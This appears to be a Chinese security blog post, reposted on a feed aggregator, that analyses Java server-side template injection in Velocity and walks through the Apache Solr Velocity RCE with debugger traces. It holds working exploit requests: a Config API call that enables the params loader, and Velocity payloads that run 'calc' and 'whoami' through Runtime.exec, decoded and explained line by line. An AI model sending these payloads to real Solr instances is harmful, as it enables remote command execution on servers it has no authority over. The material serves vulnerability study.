惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - 叶小钗
O
OpenAI News
V
V2EX
大猫的无限游戏
大猫的无限游戏
博客园 - 聂微东
S
Schneier on Security
C
CXSECURITY Database RSS Feed - CXSecurity.com
小众软件
小众软件
L
LINUX DO - 热门话题
C
Cybersecurity and Infrastructure Security Agency CISA
博客园 - Franky
Security Latest
Security Latest
S
SegmentFault 最新的问题
Project Zero
Project Zero
Spread Privacy
Spread Privacy
K
Kaspersky official blog
J
Java Code Geeks
V
Vulnerabilities – Threatpost
C
Cisco Blogs
C
CERT Recently Published Vulnerability Notes
月光博客
月光博客
T
The Exploit Database - CXSecurity.com
L
Lohrmann on Cybersecurity
人人都是产品经理
人人都是产品经理
博客园 - 三生石上(FineUI控件)
Scott Helme
Scott Helme
WordPress大学
WordPress大学
量子位
T
Threat Research - Cisco Blogs
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
宝玉的分享
宝玉的分享
Hugging Face - Blog
Hugging Face - Blog
AWS News Blog
AWS News Blog
Help Net Security
Help Net Security
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Simon Willison's Weblog
Simon Willison's Weblog
S
Secure Thoughts
博客园 - 【当耐特】
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
V
Visual Studio Blog
Last Week in AI
Last Week in AI
T
Tailwind CSS Blog
腾讯CDC
Cyberwarzone
Cyberwarzone
IT之家
IT之家
GbyAI
GbyAI
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
云风的 BLOG
云风的 BLOG
T
Troy Hunt's Blog
D
Docker

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
白头搔更短,SSTI惹人心! · SUMSEC
2026-07-17 · via SumSec's Blog

白头搔更短,SSTI惹人心!

前言

为什么说Java审计南在SSTI呢?

  1. 现行SSTI(Server-Side Template Injection ) 资料不少,但与Java,以著名的先知社区为例(如下图所示),关于SSTI文章也不过几篇而已,但与Java相关的一篇都没有。
    在这里插入图片描述
  2. 搜索CVE漏洞有关于SSTI的漏洞编号也不过只有几个而已。
    在这里插入图片描述
  3. 如果你是一名老司机,已经挖过ssti漏洞,那你是否知道payload构造原理呢?本文为你解惑!老司机可以直接跳转到后记看本文,或者你只是想看payload构造原理亦如此,本文篇幅较长,建议先收藏。

SSTI 服务端模板注入

   ssti服务端模板注入,ssti主要为python的一些框架 jinja2、 mako tornado 、django,PHP框架smarty twig,java框架FreeMarker、jade、 velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

在这里插入图片描述

// 漏洞源码
private static void velocity(String template){
        Velocity.init();

        VelocityContext context = new VelocityContext();

        context.put("author", "Elliot A.");
        context.put("address", "217 E Broadway");
        context.put("phone", "555-1337");

        StringWriter swOut = new StringWriter();
        // 使用Velocity
        Velocity.evaluate(context, swOut, "test", template);
    }

POC
http://localhost:8080/ssti/velocity?template=%23set(%24e=%22e%22);%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)


漏洞分析

// Velocity.evaluate函数源码
public static boolean evaluate(Context context, Writer out, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException {
        return RuntimeSingleton.getRuntimeServices().evaluate(context, out, logTag, instring);
    }
  • 设置断点开始调试

在这里插入图片描述

  • 进入Velocity.evaluate方法查看方法详情
public static boolean evaluate(Context context, Writer out, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException {
        return RuntimeSingleton.getRuntimeServices().evaluate(context, out, logTag, instring);
    }

在这里插入图片描述

  • 继续跟进查看,这个就是Java最常见的get方法(初始化)。也是Java的特性之一封装性。

在这里插入图片描述

  • RuntimeInstance类中封装了evaluate方法,instring被强制转化(Reader)类型。

在这里插入图片描述

  • 进入StringReader看看

在这里插入图片描述

  • 在进入evaluate查看方法具体实现过程
public boolean evaluate(Context context, Writer writer, String logTag, Reader reader) {
        if (logTag == null) {
            throw new NullPointerException("logTag (i.e. template name) cannot be null, you must provide an identifier for the content being evaluated");
        } else {
        
            SimpleNode nodeTree = null;

            try {
            // 来到这里进行解析
                nodeTree = this.parse(reader, logTag);
            } catch (ParseException var7) {
                throw new ParseErrorException(var7, (String)null);
            } catch (TemplateInitException var8) {
                throw new ParseErrorException(var8, (String)null);
            }
           // 判断,然后进入this.render方法
            return nodeTree == null ? false : this.render(context, writer, logTag, nodeTree);
        }
    }
  • 继续跟进render方法

在这里插入图片描述

  • render方法里面还有一个render方法,真的是™烦。不过这个是simpleNodel类的render方法。

在这里插入图片描述

  • 高潮激情部分,由于前面两个没有什么用,让我们直接跳到第三个看,进入render方法。

在这里插入图片描述

  • 在这里我们不能发现有一个execute方法,这就是罪魁祸首。

在这里插入图片描述

  • 让我们进行跟进方法,由于是重构的execute方法,还是得看清楚点原理。
// 截取的部分关键性源代码
for(int i = 0; i < this.numChildren; ++i) {
                        if (this.strictRef && result == null) {
                            methodName = this.jjtGetChild(i).getFirstToken().image;
                            throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
                        }

                        previousResult = result;
                        result = this.jjtGetChild(i).execute(result, context);
                        if (result == null && !this.strictRef) {
                            failedChild = i;
                            break;
                        }
                    }

在这里插入图片描述


案例分析 — Apache solr Velocity 模版注入

漏洞复现

   这个漏洞是去年10月底爆出的漏洞,这里只做必要的简单复现,笔者在这篇文章里主要是分析,更加完整的漏洞复现过程参考。

  1. 第一步修改配置,开启Velocity模版里VelocityResponseWriter初始化参数的params.resource.loader.enabled选项,该选项默认是false。查看W3Cschool solr官方文档可知,solr是配置api可以进行查看配置、修改配置的。

访问查看http://127.0.0.1:8983/solr/test/config配置信息
在这里插入图片描述

POST /solr/test/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

在这里插入图片描述


GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983

在这里插入图片描述


漏洞分析环境搭建

   笔者在此是使用远程代码调试的方式,分析源码。源码下载地址windows用户可以选择下载这两个,这里笔者下载下载第二个。(下载第一个需要编译,过程自行百度)
在这里插入图片描述

  1. 解压,将源码导入idea中,并配置idea中远程代码调试。
    在这里插入图片描述
  2. 在第二个下载压缩包路径CMD环境下(~~\solr-8.2.0\bin\),启动命令solr start -p 8983 -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8983"
    在这里插入图片描述
  3. 用idea打开项目,导入jar文件设置为library。(还有几处在solr-8.2.0\contrib\velocity\lib、solr-8.2.0\server\lib……)
    在这里插入图片描述
  4. 打断点调试代码。分析一个web项目首先我们得看web.xml文件E:\Soures\solr-8.2.0\server\solr-webapp\webapp\WEB-INF\web.xml,看第一句,发现在solrconfig.xml中注册的任何路径(名称)都将发送到该过滤器
    在这里插入图片描述
  • 断点位置,为什么会在这里打个断点,笔者翻阅资料得知这里是核心位置。具体参考solr源码阅读
    在这里插入图片描述

漏洞成因分析 – 代码层

POC第一部分

   第一部分分析请查看Solr配置API:Config API文档,文档中说明的很清楚。PS:漏洞复现的时候也有说明。
在这里插入图片描述


POC后部分分析

  1. 笔者这里直接说几个关键的部分代码
    第一步先处理请求
    在这里插入图片描述
    1. E:\Soures\solr-8.2.0\server\solr-webapp\webapp\WEB-INF\lib\solr-core-8.2.0.jar!\org\apache\solr\servlet\SolrDispatchFilter.class跳转到E:\Soures\solr-8.2.0\server\solr-webapp\webapp\WEB-INF\lib\solr-core-8.2.0.jar!\org\apache\solr\servlet\HttpSolrCall.class 先处理参数wt,设置为velocity。
      在这里插入图片描述
    2. 写入响应
      在这里插入图片描述
    3. 判断方法,写查询响应,进一步查看内容。solrReuest就是我们的payload。
      在这里插入图片描述
      在这里插入图片描述
    4. 跳转到velocityResponWriter.class,会创建velocity模板引擎。在到133行的位置进入模板方法
      在这里插入图片描述
      在这里插入图片描述
    5. 在这里会跳转到SimpleNode.class类(我们熟悉的类),第一步会设置指引,接着会到ASTReference.class 在第八的位置,会遍历方法,会执行命令。
      在这里插入图片描述
    6. 在这里会跳转到ASTMethod类中,执行。
      在这里插入图片描述)在这里插入图片描述
    7. 具体执行是velocity模板引擎中有一个ClassMap类中。
      在这里插入图片描述

后记

知识补充

   在前面有涉及到JJTree、payload构造、JavaCC等知识,但笔者并没有详细的说明,笔者想先读者们简单了解一下这些知识,然后在说明一下简单做个简单说明。

#set语法

   #set语法可以创建一个Velocity的变量,#set语法对应的Velocity语法树是ASTSetDirective类,翻开这个类的代码,可以发现它有两个子节点:分别是RightHandSide和LeftHandSide,分别代表“=”两边的表达式值。与Java语言的赋值操作有点不一样的是,左边的LeftHandSide可能是一个变量标识符,也可能是一个set方法调用。变量标识符很好理解,如前面的#set($var=“偶数”),另外是一个set方法调用,如#set($person.name=”junshan”),这实际上相当于Java中person.setName(“junshan”)方法的调用。

#foreach语法

Velocity中的循环语法只有这一种,它与Java中的for循环的语法糖形式十分类似,如#foreach($child in $person.children) $person.children表示的是一个集合,它可能是一个List集合或者一个数组,而$child表示的是每个从集合中取出的值。从render方法代码中可以看出,Velocity首先是取得$person.children的值,然后将这个值封装成Iterator集合,然后依次取出这个集合中的每一个值,将这个值以$child为变量标识符放入context中。除此以外需要特别注意的是,Velocity在循环时还在context中放入了另外两个变量,分别是counterName和hasNextName,这两个变量的名称分别在配置文件配置项directive.foreach.counter.name和directive.foreach.iterator.name中定义,它们表示当前的循环计数和是否还有下一个值。前者相当于for(int i=1;i<10;i++)中的i值,后者相当于while(it.hasNext())中的it.hasNext()的值,这两个值在#foreach的循环体中都有可能用到。由于elementKey、counterName和hasNextName是在#foreach中临时创建的,如果当前的context中已经存在这几个变量,要把原始的变量值保存起来,以便在这个#foreach执行结束后恢复。如果context中没有这几个变量,那么#foreach执行结束后要删除它们,这就是代码最后部分做的事情,这与我们前面介绍的#set语法没有范围限制不同,#foreach中临时产生的变量只在#foreach中有效。

JJTree渲染过程解析

下面是JJTree的语法树:

关于POC构造方法补充说明

VelocityResponseWriter 初始化参数

  • template.base.dir
    如果指定并作为文件系统目录存在,则将为此目录添加一个文件资源加载程序。此目录中的模板将覆盖 “solr” 资源加载程序模板。
  • init.properties.file
    指定一个属性文件名,必须存在于 Solr 的conf/目录(而不是在velocity/子目录中)或者 的 JAR 文件的根中。
  • params.resource.loader.enabled
    “params” 资源加载程序允许在 Solr 请求参数中指定模板。例如:

http://localhost:8983/solr/gettingstarted/select?q=\*:*&wt=velocity&v.template=custom&v.template.custom=CUSTOM%3A%20%23core_name v.template=custom表示要呈现一个名为“自定义”的模板,其值v.template.custom是自定义模板。默认情况下为false;它不常用,需要时启用。

  • solr.resource.loader.enabled
    “solr” 资源加载程序是默认注册的唯一模板加载程序。模板是由 SolrResourceLoader 从velocity/子目录下可见的资源提供的。VelocityResponseWriter 本身有一些内置的模板(在它 JAR 文件中的velocity/),这些模板可以通过这个加载程序自动使用。当相同的模板名称处于 conf/velocity/ 或使用template.base.dir选项时,可以覆盖这些内置模板。

VelocityResponseWriter请求参数

  • v.template
    指定要呈现的模板的名称。
  • v.layout
    指定一个模板名称,用作围绕主v.template指定模板的布局。
    主模板呈现为包含在布局渲染中的字符串值$content。
  • v.layout.enabled
    确定主模板是否应该有围绕它的布局。默认是true,但也需要指定v.layout
    v.contentType
    指定 HTTP 响应中使用的内容类型。如果没有指定,默认取决于是否指定v.json
    默认情况下不包含v.json=wrf:text/html;charset=UTF-8
    默认为v.json=wrf:application/json;charset=UTF-8
  • v.json
    指定一个函数名称来包装呈现为 JSON 的响应。如果指定,则响应中使用的内容类型将为“application / json; charset = UTF-8”,除非被v.contentType覆盖。
    输出将采用以下格式(带v.json=wrf):

    wrf("result":"<Velocity generated response string, with quotes and backslashes escaped>")
    
  • v.locale
    使用$resource工具和其他 LocaleConfig 实现工具的语言环境。默认语言环境是Locale.ROOT。本地化资源从名为resources[_locale-code].properties的标准 Java 资源包中加载
    可以通过提供由 SolrResourceLoader 在速度子下的资源包可见的 JAR 文件来添加资源包。资源包不能在conf/下加载,因为只有 SolrResourceLoader 的类加载程序方面可以在这里使用。
  • v.template.template_name
    当启用 “params” 资源加载程序时,可以将模板指定为 Solr 请求的一部分。
    params.resource.loader.enabled
    “params” 资源加载程序允许在 Solr 请求参数中指定模板。例如:
    http://localhost:8983/solr/gettingstarted/select?q=\*:*&wt=velocity&v.template=custom&v.template.custom=CUSTOM%3A%20%23core_name

  1. 先将poc进行解码

    http://127.0.0.1:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('calc')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
    
  2. set和foreach语法前面都介绍了,现在在看payload是不是就一目了然了?如何构造,为什么这么构造..

    #set($x='')  
    #set($rt=$x.class.forName('java.lang.Runtime'))
    #set($chr=$x.class.forName('java.lang.Character'))  
    #set($str=$x.class.forName('java.lang.String'))
    #set($ex=$rt.getRuntime().exec('calc'))$ex.waitFor() 
    #set($out=$ex.getInputStream())
    #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))
    #end
    

    在这里插入图片描述
    在这里插入图片描述


附图:各框架模板结构:


总结

漏洞总结

   Apache Solr的Config API是自带功能,用于通过HTTP请求更改配置;当Solr未设置访问鉴权时,可以直接通过ConfigAPI更改配置,为漏洞利用创造了前提。config api是solr多此爆出漏洞关键Apache Solr RCE有想法的童鞋可以看看这个项目。

题外话

   之前刚刚爆出漏洞的时候,笔者还曾复现过,但奈何能力有限,不能深入理解其中内涵。深表惭愧,总的来说,努力学习,安全一行任重而道远。


推荐学习资料

   想进行深入研究此漏洞肯定光看我这篇文章是不足的,毕竟我这这个只是Java方面上的,python、php等语言都没介绍。故此推荐,望彼有助。

国内资料

Python方面:SSTI/沙盒逃逸详细总结flask之ssti模版注入从零到入门
Flask/Jinja2模板注入中的一些绕过姿势
PHP方面:服务端模板注入攻击 (SSTI)之浅析

国外资料

这篇总结的比较全面:Server-Side Template Injection: RCE for the modern webapp
Python方面:Jinja2 template injection filter bypasses


参考

https://www.liangzl.com/get-article-detail-138970.html
https://xz.aliyun.com/t/3679
https://cert.360.cn/report/detail?id=6125d7f75170c309de1ffdde11f86355
https://paper.seebug.org/1107/#41
https://ackcent.com/blog/in-depth-freemarker-template-injection/
https://www.cnblogs.com/wade-luffy/p/5996848.html
https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html
https://blog.csdn.net/weixin_38964895/article/details/81381060
https://blog.csdn.net/sweety820/article/details/74347068?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task